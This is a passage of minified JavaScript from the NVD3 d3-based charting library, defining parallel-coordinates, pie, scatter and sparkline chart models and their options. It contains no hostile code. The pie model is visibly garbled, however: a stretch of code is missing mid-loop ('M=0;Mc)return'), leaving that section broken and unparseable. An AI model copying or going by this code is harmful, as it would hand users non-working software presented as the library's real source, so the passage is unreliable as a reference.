nv-parallelCoordinates"),B=A.append("g"),C=z.select("g");B.append("g").attr("class","nv-parallelCoordinates background"),B.append("g").attr("class","nv-parallelCoordinates foreground"),B.append("g").attr("class","nv-parallelCoordinates missingValuesline"),z.attr("transform","translate("+c.left+","+c.top+")");var D,E,F=d3.svg.line().interpolate("cardinal").tension(n),G=d3.svg.axis().orient("left"),H=d3.behavior.drag().on("dragstart",r).on("drag",s).on("dragend",t),I=f.range()[1]-f.range()[0],J=[],K=[0+I/2,x-12,w-I/2,x-12];D=z.select(".missingValuesline").selectAll("line").data([K]),D.enter().append("line"),D.exit().remove(),D.attr("x1",function(a){return a[0]}).attr("y1",function(a){return a[1]}).attr("x2",function(a){return a[2]}).attr("y2",function(a){return a[3]}),E=z.select(".missingValuesline").selectAll("text").data(["undefined values"]),E.append("text").data(["undefined values"]),E.enter().append("text"),E.exit().remove(),E.attr("y",x).attr("x",w-92-I/2).text(function(a){return a});var L=z.select(".background").selectAll("path").data(b);L.enter().append("path"),L.exit().remove(),L.attr("d",p);var M=z.select(".foreground").selectAll("path").data(b);M.enter().append("path"),M.exit().remove(),M.attr("d",p).attr("stroke",j),M.on("mouseover",function(a,b){d3.select(this).classed("hover",!0),o.elementMouseover({label:a.name,data:a.data,index:b,pos:[d3.mouse(this.parentNode)[0],d3.mouse(this.parentNode)[1]]})}),M.on("mouseout",function(a,b){d3.select(this).classed("hover",!1),o.elementMouseout({label:a.name,data:a.data,index:b})});var N=C.selectAll(".dimension").data(h),O=N.enter().append("g").attr("class","nv-parallelCoordinates dimension");O.append("g").attr("class","nv-parallelCoordinates nv-axis"),O.append("g").attr("class","nv-parallelCoordinates-brush"),O.append("text").attr("class","nv-parallelCoordinates nv-label"),N.attr("transform",function(a){return"translate("+f(a)+",0)"}),N.exit().remove(),N.select(".nv-label").style("cursor","move").attr("dy","-1em").attr("text-anchor","middle").text(String).on("mouseover",function(a){o.elementMouseover({dim:a,pos:[d3.mouse(this.parentNode.parentNode)[0],d3.mouse(this.parentNode.parentNode)[1]]})}).on("mouseout",function(a){o.elementMouseout({dim:a})}).call(H),N.select(".nv-axis").each(function(a,b){d3.select(this).call(G.scale(g[a]).tickFormat(d3.format(i[b])))}),N.select(".nv-parallelCoordinates-brush").each(function(a){d3.select(this).call(g[a].brush)}).selectAll("rect").attr("x",-8).attr("width",16)}),b}var c={top:30,right:0,bottom:10,left:0},d=null,e=null,f=d3.scale.ordinal(),g={},h=[],i=[],j=a.utils.defaultColor(),k=[],l=[],m=[],n=1,o=d3.dispatch("brush","elementMouseover","elementMouseout");return b.dispatch=o,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},dimensionNames:{get:function(){return h},set:function(a){h=a}},dimensionFormats:{get:function(){return i},set:function(a){i=a}},lineTension:{get:function(){return n},set:function(a){n=a}},dimensions:{get:function(){return h},set:function(b){a.deprecated("dimensions","use dimensionNames instead"),h=b}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},color:{get:function(){return j},set:function(b){j=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.pie=function(){"use strict";function b(E){return D.reset(),E.each(function(b){function E(a,b){a.endAngle=isNaN(a.endAngle)?0:a.endAngle,a.startAngle=isNaN(a.startAngle)?0:a.startAngle,p||(a.innerRadius=0);var c=d3.interpolate(this._current,a);return this._current=c(0),function(a){return B[b](c(a))}}var F=d-c.left-c.right,G=e-c.top-c.bottom,H=Math.min(F,G)/2,I=[],J=[];if(i=d3.select(this),0===z.length)for(var K=H-H/5,L=y*H,M=0;Mc)return"";if("function"==typeof n)d=n(a,b,{key:f(a.data),value:g(a.data),percent:k(c)});else switch(n){case"key":d=f(a.data);break;case"value":d=k(g(a.data));break;case"percent":d=d3.format("%")(c)}return d})}}),D.renderEnd("pie immediate"),b}var c={top:0,right:0,bottom:0,left:0},d=500,e=500,f=function(a){return a.x},g=function(a){return a.y},h=Math.floor(1e4*Math.random()),i=null,j=a.utils.defaultColor(),k=d3.format(",.2f"),l=!0,m=!1,n="key",o=.02,p=!1,q=!1,r=!0,s=0,t=!1,u=!1,v=!1,w=!1,x=0,y=.5,z=[],A=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),B=[],C=[],D=a.utils.renderWatch(A);return b.dispatch=A,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{arcsRadius:{get:function(){return z},set:function(a){z=a}},width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},showLabels:{get:function(){return l},set:function(a){l=a}},title:{get:function(){return q},set:function(a){q=a}},titleOffset:{get:function(){return s},set:function(a){s=a}},labelThreshold:{get:function(){return o},set:function(a){o=a}},valueFormat:{get:function(){return k},set:function(a){k=a}},x:{get:function(){return f},set:function(a){f=a}},id:{get:function(){return h},set:function(a){h=a}},endAngle:{get:function(){return w},set:function(a){w=a}},startAngle:{get:function(){return u},set:function(a){u=a}},padAngle:{get:function(){return v},set:function(a){v=a}},cornerRadius:{get:function(){return x},set:function(a){x=a}},donutRatio:{get:function(){return y},set:function(a){y=a}},labelsOutside:{get:function(){return m},set:function(a){m=a}},labelSunbeamLayout:{get:function(){return t},set:function(a){t=a}},donut:{get:function(){return p},set:function(a){p=a}},growOnHover:{get:function(){return r},set:function(a){r=a}},pieLabelsOutside:{get:function(){return m},set:function(b){m=b,a.deprecated("pieLabelsOutside","use labelsOutside instead")}},donutLabelsOutside:{get:function(){return m},set:function(b){m=b,a.deprecated("donutLabelsOutside","use labelsOutside instead")}},labelFormat:{get:function(){return k},set:function(b){k=b,a.deprecated("labelFormat","use valueFormat instead")}},margin:{get:function(){return c},set:function(a){c.top="undefined"!=typeof a.top?a.top:c.top,c.right="undefined"!=typeof a.right?a.right:c.right,c.bottom="undefined"!=typeof a.bottom?a.bottom:c.bottom,c.left="undefined"!=typeof a.left?a.left:c.left}},y:{get:function(){return g},set:function(a){g=d3.functor(a)}},color:{get:function(){return j},set:function(b){j=a.utils.getColor(b)}},labelType:{get:function(){return n},set:function(a){n=a||"key"}}}),a.utils.initOptions(b),b},a.models.pieChart=function(){"use strict";function b(e){return q.reset(),q.models(c),e.each(function(e){var k=d3.select(this);a.utils.initSVG(k);var n=a.utils.availableWidth(g,k,f),o=a.utils.availableHeight(h,k,f);if(b.update=function(){k.transition().call(b)},b.container=this,l.setter(s(e),b.update).getter(r(e)).update(),l.disabled=e.map(function(a){return!!a.disabled}),!m){var q;m={};for(q in l)m[q]=l[q]instanceof Array?l[q].slice(0):l[q]}if(!e||!e.length)return a.utils.noData(b,k),b;k.selectAll(".nv-noData").remove();var t=k.selectAll("g.nv-wrap.nv-pieChart").data([e]),u=t.enter().append("g").attr("class","nvd3 nv-wrap nv-pieChart").append("g"),v=t.select("g");if(u.append("g").attr("class","nv-pieWrap"),u.append("g").attr("class","nv-legendWrap"),i)if("top"===j)d.width(n).key(c.x()),t.select(".nv-legendWrap").datum(e).call(d),f.top!=d.height()&&(f.top=d.height(),o=a.utils.availableHeight(h,k,f)),t.select(".nv-legendWrap").attr("transform","translate(0,"+-f.top+")");else if("right"===j){var w=a.models.legend().width();w>n/2&&(w=n/2),d.height(o).key(c.x()),d.width(w),n-=d.width(),t.select(".nv-legendWrap").datum(e).call(d).attr("transform","translate("+n+",0)")}t.attr("transform","translate("+f.left+","+f.top+")"),c.width(n).height(o);var x=v.select(".nv-pieWrap").datum([e]);d3.transition(x).call(c),d.dispatch.on("stateChange",function(a){for(var c in a)l[c]=a[c];p.stateChange(l),b.update()}),p.on("changeState",function(a){"undefined"!=typeof a.disabled&&(e.forEach(function(b,c){b.disabled=a.disabled[c]}),l.disabled=a.disabled),b.update()})}),q.renderEnd("pieChart immediate"),b}var c=a.models.pie(),d=a.models.legend(),e=a.models.tooltip(),f={top:30,right:20,bottom:20,left:20},g=null,h=null,i=!0,j="top",k=a.utils.defaultColor(),l=a.utils.state(),m=null,n=null,o=250,p=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd");e.headerEnabled(!1).duration(0).valueFormatter(function(a,b){return c.valueFormat()(a,b)});var q=a.utils.renderWatch(p),r=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},s=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return c.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:b.x()(a.data),value:b.y()(a.data),color:a.color},e.data(a).hidden(!1)}),c.dispatch.on("elementMouseout.tooltip",function(){e.hidden(!0)}),c.dispatch.on("elementMousemove.tooltip",function(){e.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.legend=d,b.dispatch=p,b.pie=c,b.tooltip=e,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{noData:{get:function(){return n},set:function(a){n=a}},showLegend:{get:function(){return i},set:function(a){i=a}},legendPosition:{get:function(){return j},set:function(a){j=a}},defaultState:{get:function(){return m},set:function(a){m=a}},tooltips:{get:function(){return e.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),e.enabled(!!b)}},tooltipContent:{get:function(){return e.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),e.contentGenerator(b)}},color:{get:function(){return k},set:function(a){k=a,d.color(k),c.color(k)}},duration:{get:function(){return o},set:function(a){o=a,q.reset(o)}},margin:{get:function(){return f},set:function(a){f.top=void 0!==a.top?a.top:f.top,f.right=void 0!==a.right?a.right:f.right,f.bottom=void 0!==a.bottom?a.bottom:f.bottom,f.left=void 0!==a.left?a.left:f.left}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.models.scatter=function(){"use strict";function b(N){return P.reset(),N.each(function(b){function N(){if(O=!1,!w)return!1;if(M===!0){var a=d3.merge(b.map(function(a,b){return a.values.map(function(a,c){var d=p(a,c),e=q(a,c);return[m(d)+1e-4*Math.random(),n(e)+1e-4*Math.random(),b,c,a]}).filter(function(a,b){return x(a[4],b)})}));if(0==a.length)return!1;a.length<3&&(a.push([m.range()[0]-20,n.range()[0]-20,null,null]),a.push([m.range()[1]+20,n.range()[1]+20,null,null]),a.push([m.range()[0]-20,n.range()[0]+20,null,null]),a.push([m.range()[1]+20,n.range()[1]-20,null,null]));var c=d3.geom.polygon([[-10,-10],[-10,i+10],[h+10,i+10],[h+10,-10]]),d=d3.geom.voronoi(a).map(function(b,d){return{data:c.clip(b),series:a[d][2],point:a[d][3]}});U.select(".nv-point-paths").selectAll("path").remove();var e=U.select(".nv-point-paths").selectAll("path").data(d),f=e.enter().append("svg:path").attr("d",function(a){return a&&a.data&&0!==a.data.length?"M"+a.data.join(",")+"Z":"M 0 0"}).attr("id",function(a,b){return"nv-path-"+b}).attr("clip-path",function(a,b){return"url(#nv-clip-"+b+")"});C&&f.style("fill",d3.rgb(230,230,230)).style("fill-opacity",.4).style("stroke-opacity",1).style("stroke",d3.rgb(200,200,200)),B&&(U.select(".nv-point-clips").selectAll("clipPath").remove(),U.select(".nv-point-clips").selectAll("clipPath").data(a).enter().append("svg:clipPath").attr("id",function(a,b){return"nv-clip-"+b}).append("svg:circle").attr("cx",function(a){return a[0]}).attr("cy",function(a){return a[1]}).attr("r",D));var k=function(a,c){if(O)return 0;var d=b[a.series];if(void 0!==d){var e=d.values[a.point];e.color=j(d,a.series),e.x=p(e),e.y=q(e);var f=l.node().getBoundingClientRect(),h=window.pageYOffset||document.documentElement.scrollTop,i=window.pageXOffset||document.documentElement.scrollLeft,k={left:m(p(e,a.point))+f.left+i+g.left+10,top:n(q(e,a.point))+f.top+h+g.top+10};c({point:e,series:d,pos:k,seriesIndex:a.series,pointIndex:a.point})}};e.on("click",function(a){k(a,L.elementClick)}).on("dblclick",function(a){k(a,L.elementDblClick)}).on("mouseover",function(a){k(a,L.elementMouseover)}).on("mouseout",function(a){k(a,L.elementMouseout)})}else U.select(".nv-groups").selectAll(".nv-group").selectAll(".nv-point").on("click",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementClick({point:e,series:d,pos:[m(p(e,c))+g.left,n(q(e,c))+g.top],seriesIndex:a.series,pointIndex:c})}).on("dblclick",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementDblClick({point:e,series:d,pos:[m(p(e,c))+g.left,n(q(e,c))+g.top],seriesIndex:a.series,pointIndex:c})}).on("mouseover",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementMouseover({point:e,series:d,pos:[m(p(e,c))+g.left,n(q(e,c))+g.top],seriesIndex:a.series,pointIndex:c,color:j(a,c)})}).on("mouseout",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementMouseout({point:e,series:d,seriesIndex:a.series,pointIndex:c,color:j(a,c)})})}l=d3.select(this);var R=a.utils.availableWidth(h,l,g),S=a.utils.availableHeight(i,l,g);a.utils.initSVG(l),b.forEach(function(a,b){a.values.forEach(function(a){a.series=b})});var T=E&&F&&I?[]:d3.merge(b.map(function(a){return a.values.map(function(a,b){return{x:p(a,b),y:q(a,b),size:r(a,b)}})}));m.domain(E||d3.extent(T.map(function(a){return a.x}).concat(t))),m.range(y&&b[0]?G||[(R*z+R)/(2*b[0].values.length),R-R*(1+z)/(2*b[0].values.length)]:G||[0,R]),n.domain(F||d3.extent(T.map(function(a){return a.y}).concat(u))).range(H||[S,0]),o.domain(I||d3.extent(T.map(function(a){return a.size}).concat(v))).range(J||Q),K=m.domain()[0]===m.domain()[1]||n.domain()[0]===n.domain()[1],m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]-.01*m.domain()[0],m.domain()[1]+.01*m.domain()[1]]:[-1,1]),n.domain()[0]===n.domain()[1]&&n.domain(n.domain()[0]?[n.domain()[0]-.01*n.domain()[0],n.domain()[1]+.01*n.domain()[1]]:[-1,1]),isNaN(m.domain()[0])&&m.domain([-1,1]),isNaN(n.domain()[0])&&n.domain([-1,1]),c=c||m,d=d||n,e=e||o;var U=l.selectAll("g.nv-wrap.nv-scatter").data([b]),V=U.enter().append("g").attr("class","nvd3 nv-wrap nv-scatter nv-chart-"+k),W=V.append("defs"),X=V.append("g"),Y=U.select("g");U.classed("nv-single-point",K),X.append("g").attr("class","nv-groups"),X.append("g").attr("class","nv-point-paths"),V.append("g").attr("class","nv-point-clips"),U.attr("transform","translate("+g.left+","+g.top+")"),W.append("clipPath").attr("id","nv-edge-clip-"+k).append("rect"),U.select("#nv-edge-clip-"+k+" rect").attr("width",R).attr("height",S>0?S:0),Y.attr("clip-path",A?"url(#nv-edge-clip-"+k+")":""),O=!0;var Z=U.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a){return a.key});Z.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6),Z.exit().remove(),Z.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}),Z.watchTransition(P,"scatter: groups").style("fill",function(a,b){return j(a,b)}).style("stroke",function(a,b){return j(a,b)}).style("stroke-opacity",1).style("fill-opacity",.5);var $=Z.selectAll("path.nv-point").data(function(a){return a.values.map(function(a,b){return[a,b]}).filter(function(a,b){return x(a[0],b)})});$.enter().append("path").style("fill",function(a){return a.color}).style("stroke",function(a){return a.color}).attr("transform",function(a){return"translate("+c(p(a[0],a[1]))+","+d(q(a[0],a[1]))+")"}).attr("d",a.utils.symbol().type(function(a){return s(a[0])}).size(function(a){return o(r(a[0],a[1]))})),$.exit().remove(),Z.exit().selectAll("path.nv-point").watchTransition(P,"scatter exit").attr("transform",function(a){return"translate("+m(p(a[0],a[1]))+","+n(q(a[0],a[1]))+")"}).remove(),$.each(function(a){d3.select(this).classed("nv-point",!0).classed("nv-point-"+a[1],!0).classed("nv-noninteractive",!w).classed("hover",!1)}),$.watchTransition(P,"scatter points").attr("transform",function(a){return"translate("+m(p(a[0],a[1]))+","+n(q(a[0],a[1]))+")"}).attr("d",a.utils.symbol().type(function(a){return s(a[0])}).size(function(a){return o(r(a[0],a[1]))})),clearTimeout(f),f=setTimeout(N,300),c=m.copy(),d=n.copy(),e=o.copy()}),P.renderEnd("scatter immediate"),b}var c,d,e,f,g={top:0,right:0,bottom:0,left:0},h=null,i=null,j=a.utils.defaultColor(),k=Math.floor(1e5*Math.random()),l=null,m=d3.scale.linear(),n=d3.scale.linear(),o=d3.scale.linear(),p=function(a){return a.x},q=function(a){return a.y},r=function(a){return a.size||1},s=function(a){return a.shape||"circle"},t=[],u=[],v=[],w=!0,x=function(a){return!a.notActive},y=!1,z=.1,A=!1,B=!0,C=!1,D=function(){return 25},E=null,F=null,G=null,H=null,I=null,J=null,K=!1,L=d3.dispatch("elementClick","elementDblClick","elementMouseover","elementMouseout","renderEnd"),M=!0,N=250,O=!1,P=a.utils.renderWatch(L,N),Q=[16,256];return b.dispatch=L,b.options=a.utils.optionsFunc.bind(b),b._calls=new function(){this.clearHighlights=function(){return a.dom.write(function(){l.selectAll(".nv-point.hover").classed("hover",!1)}),null},this.highlightPoint=function(b,c,d){a.dom.write(function(){l.select(" .nv-series-"+b+" .nv-point-"+c).classed("hover",d)})}},L.on("elementMouseover.point",function(a){w&&b._calls.highlightPoint(a.seriesIndex,a.pointIndex,!0)}),L.on("elementMouseout.point",function(a){w&&b._calls.highlightPoint(a.seriesIndex,a.pointIndex,!1)}),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},xScale:{get:function(){return m},set:function(a){m=a}},yScale:{get:function(){return n},set:function(a){n=a}},pointScale:{get:function(){return o},set:function(a){o=a}},xDomain:{get:function(){return E},set:function(a){E=a}},yDomain:{get:function(){return F},set:function(a){F=a}},pointDomain:{get:function(){return I},set:function(a){I=a}},xRange:{get:function(){return G},set:function(a){G=a}},yRange:{get:function(){return H},set:function(a){H=a}},pointRange:{get:function(){return J},set:function(a){J=a}},forceX:{get:function(){return t},set:function(a){t=a}},forceY:{get:function(){return u},set:function(a){u=a}},forcePoint:{get:function(){return v},set:function(a){v=a}},interactive:{get:function(){return w},set:function(a){w=a}},pointActive:{get:function(){return x},set:function(a){x=a}},padDataOuter:{get:function(){return z},set:function(a){z=a}},padData:{get:function(){return y},set:function(a){y=a}},clipEdge:{get:function(){return A},set:function(a){A=a}},clipVoronoi:{get:function(){return B},set:function(a){B=a}},clipRadius:{get:function(){return D},set:function(a){D=a}},showVoronoi:{get:function(){return C},set:function(a){C=a}},id:{get:function(){return k},set:function(a){k=a}},x:{get:function(){return p},set:function(a){p=d3.functor(a)}},y:{get:function(){return q},set:function(a){q=d3.functor(a)}},pointSize:{get:function(){return r},set:function(a){r=d3.functor(a)}},pointShape:{get:function(){return s},set:function(a){s=d3.functor(a)}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},duration:{get:function(){return N},set:function(a){N=a,P.reset(N)}},color:{get:function(){return j},set:function(b){j=a.utils.getColor(b)}},useVoronoi:{get:function(){return M},set:function(a){M=a,M===!1&&(B=!1)}}}),a.utils.initOptions(b),b},a.models.scatterChart=function(){"use strict";function b(z){return D.reset(),D.models(c),t&&D.models(d),u&&D.models(e),q&&D.models(g),r&&D.models(h),z.each(function(z){m=d3.select(this),a.utils.initSVG(m);var G=a.utils.availableWidth(k,m,j),H=a.utils.availableHeight(l,m,j);if(b.update=function(){0===A?m.call(b):m.transition().duration(A).call(b)},b.container=this,w.setter(F(z),b.update).getter(E(z)).update(),w.disabled=z.map(function(a){return!!a.disabled}),!x){var I;x={};for(I in w)x[I]=w[I]instanceof Array?w[I].slice(0):w[I]}if(!(z&&z.length&&z.filter(function(a){return a.values.length}).length))return a.utils.noData(b,m),D.renderEnd("scatter immediate"),b;m.selectAll(".nv-noData").remove(),o=c.xScale(),p=c.yScale();var J=m.selectAll("g.nv-wrap.nv-scatterChart").data([z]),K=J.enter().append("g").attr("class","nvd3 nv-wrap nv-scatterChart nv-chart-"+c.id()),L=K.append("g"),M=J.select("g");if(L.append("rect").attr("class","nvd3 nv-background").style("pointer-events","none"),L.append("g").attr("class","nv-x nv-axis"),L.append("g").attr("class","nv-y nv-axis"),L.append("g").attr("class","nv-scatterWrap"),L.append("g").attr("class","nv-regressionLinesWrap"),L.append("g").attr("class","nv-distWrap"),L.append("g").attr("class","nv-legendWrap"),v&&M.select(".nv-y.nv-axis").attr("transform","translate("+G+",0)"),s){var N=G;f.width(N),J.select(".nv-legendWrap").datum(z).call(f),j.top!=f.height()&&(j.top=f.height(),H=a.utils.availableHeight(l,m,j)),J.select(".nv-legendWrap").attr("transform","translate(0,"+-j.top+")")}J.attr("transform","translate("+j.left+","+j.top+")"),c.width(G).height(H).color(z.map(function(a,b){return a.color=a.color||n(a,b),a.color}).filter(function(a,b){return!z[b].disabled})),J.select(".nv-scatterWrap").datum(z.filter(function(a){return!a.disabled})).call(c),J.select(".nv-regressionLinesWrap").attr("clip-path","url(#nv-edge-clip-"+c.id()+")");var O=J.select(".nv-regressionLinesWrap").selectAll(".nv-regLines").data(function(a){return a});O.enter().append("g").attr("class","nv-regLines");var P=O.selectAll(".nv-regLine").data(function(a){return[a]});P.enter().append("line").attr("class","nv-regLine").style("stroke-opacity",0),P.filter(function(a){return a.intercept&&a.slope}).watchTransition(D,"scatterPlusLineChart: regline").attr("x1",o.range()[0]).attr("x2",o.range()[1]).attr("y1",function(a){return p(o.domain()[0]*a.slope+a.intercept)}).attr("y2",function(a){return p(o.domain()[1]*a.slope+a.intercept)}).style("stroke",function(a,b,c){return n(a,c)}).style("stroke-opacity",function(a){return a.disabled||"undefined"==typeof a.slope||"undefined"==typeof a.intercept?0:1}),t&&(d.scale(o)._ticks(a.utils.calcTicksX(G/100,z)).tickSize(-H,0),M.select(".nv-x.nv-axis").attr("transform","translate(0,"+p.range()[0]+")").call(d)),u&&(e.scale(p)._ticks(a.utils.calcTicksY(H/36,z)).tickSize(-G,0),M.select(".nv-y.nv-axis").call(e)),q&&(g.getData(c.x()).scale(o).width(G).color(z.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!z[b].disabled})),L.select(".nv-distWrap").append("g").attr("class","nv-distributionX"),M.select(".nv-distributionX").attr("transform","translate(0,"+p.range()[0]+")").datum(z.filter(function(a){return!a.disabled})).call(g)),r&&(h.getData(c.y()).scale(p).width(H).color(z.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!z[b].disabled})),L.select(".nv-distWrap").append("g").attr("class","nv-distributionY"),M.select(".nv-distributionY").attr("transform","translate("+(v?G:-h.size())+",0)").datum(z.filter(function(a){return!a.disabled})).call(h)),f.dispatch.on("stateChange",function(a){for(var c in a)w[c]=a[c];y.stateChange(w),b.update()}),y.on("changeState",function(a){"undefined"!=typeof a.disabled&&(z.forEach(function(b,c){b.disabled=a.disabled[c]}),w.disabled=a.disabled),b.update()}),c.dispatch.on("elementMouseout.tooltip",function(a){i.hidden(!0),m.select(".nv-chart-"+c.id()+" .nv-series-"+a.seriesIndex+" .nv-distx-"+a.pointIndex).attr("y1",0),m.select(".nv-chart-"+c.id()+" .nv-series-"+a.seriesIndex+" .nv-disty-"+a.pointIndex).attr("x2",h.size())}),c.dispatch.on("elementMouseover.tooltip",function(a){m.select(".nv-series-"+a.seriesIndex+" .nv-distx-"+a.pointIndex).attr("y1",a.pos.top-H-j.top),m.select(".nv-series-"+a.seriesIndex+" .nv-disty-"+a.pointIndex).attr("x2",a.pos.left+g.size()-j.left),i.position(a.pos).data(a).hidden(!1)}),B=o.copy(),C=p.copy()}),D.renderEnd("scatter with line immediate"),b}var c=a.models.scatter(),d=a.models.axis(),e=a.models.axis(),f=a.models.legend(),g=a.models.distribution(),h=a.models.distribution(),i=a.models.tooltip(),j={top:30,right:20,bottom:50,left:75},k=null,l=null,m=null,n=a.utils.defaultColor(),o=c.xScale(),p=c.yScale(),q=!1,r=!1,s=!0,t=!0,u=!0,v=!1,w=a.utils.state(),x=null,y=d3.dispatch("stateChange","changeState","renderEnd"),z=null,A=250;c.xScale(o).yScale(p),d.orient("bottom").tickPadding(10),e.orient(v?"right":"left").tickPadding(10),g.axis("x"),h.axis("y"),i.headerFormatter(function(a,b){return d.tickFormat()(a,b)}).valueFormatter(function(a,b){return e.tickFormat()(a,b)});var B,C,D=a.utils.renderWatch(y,A),E=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},F=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return b.dispatch=y,b.scatter=c,b.legend=f,b.xAxis=d,b.yAxis=e,b.distX=g,b.distY=h,b.tooltip=i,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},container:{get:function(){return m},set:function(a){m=a}},showDistX:{get:function(){return q},set:function(a){q=a}},showDistY:{get:function(){return r},set:function(a){r=a}},showLegend:{get:function(){return s},set:function(a){s=a}},showXAxis:{get:function(){return t},set:function(a){t=a}},showYAxis:{get:function(){return u},set:function(a){u=a}},defaultState:{get:function(){return x},set:function(a){x=a}},noData:{get:function(){return z},set:function(a){z=a}},duration:{get:function(){return A},set:function(a){A=a}},tooltips:{get:function(){return i.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),i.enabled(!!b) }},tooltipContent:{get:function(){return i.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),i.contentGenerator(b)}},tooltipXContent:{get:function(){return i.contentGenerator()},set:function(){a.deprecated("tooltipContent","This option is removed, put values into main tooltip.")}},tooltipYContent:{get:function(){return i.contentGenerator()},set:function(){a.deprecated("tooltipContent","This option is removed, put values into main tooltip.")}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},rightAlignYAxis:{get:function(){return v},set:function(a){v=a,e.orient(a?"right":"left")}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),f.color(n),g.color(n),h.color(n)}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.models.sparkline=function(){"use strict";function b(k){return k.each(function(b){var k=h-g.left-g.right,q=i-g.top-g.bottom;j=d3.select(this),a.utils.initSVG(j),l.domain(c||d3.extent(b,n)).range(e||[0,k]),m.domain(d||d3.extent(b,o)).range(f||[q,0]);{var r=j.selectAll("g.nv-wrap.nv-sparkline").data([b]),s=r.enter().append("g").attr("class","nvd3 nv-wrap nv-sparkline");s.append("g"),r.select("g")}r.attr("transform","translate("+g.left+","+g.top+")");var t=r.selectAll("path").data(function(a){return[a]});t.enter().append("path"),t.exit().remove(),t.style("stroke",function(a,b){return a.color||p(a,b)}).attr("d",d3.svg.line().x(function(a,b){return l(n(a,b))}).y(function(a,b){return m(o(a,b))}));var u=r.selectAll("circle.nv-point").data(function(a){function b(b){if(-1!=b){var c=a[b];return c.pointIndex=b,c}return null}var c=a.map(function(a,b){return o(a,b)}),d=b(c.lastIndexOf(m.domain()[1])),e=b(c.indexOf(m.domain()[0])),f=b(c.length-1);return[e,d,f].filter(function(a){return null!=a})});u.enter().append("circle"),u.exit().remove(),u.attr("cx",function(a){return l(n(a,a.pointIndex))}).attr("cy",function(a){return m(o(a,a.pointIndex))}).attr("r",2).attr("class",function(a){return n(a,a.pointIndex)==l.domain()[1]?"nv-point nv-currentValue":o(a,a.pointIndex)==m.domain()[0]?"nv-point nv-minValue":"nv-point nv-maxValue"})}),b}var c,d,e,f,g={top:2,right:0,bottom:2,left:0},h=400,i=32,j=null,k=!0,l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=a.utils.getColor(["#000"]);return b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},animate:{get:function(){return k},set:function(a){k=a}},x:{get:function(){return n},set:function(a){n=d3.functor(a)}},y:{get:function(){return o},set:function(a){o=d3.functor(a)}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},color:{get:function(){return p},set:function(b){p=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.sparklinePlus=function(){"use strict";function b(p){return p.each(function(p){function q(){if(!j){var 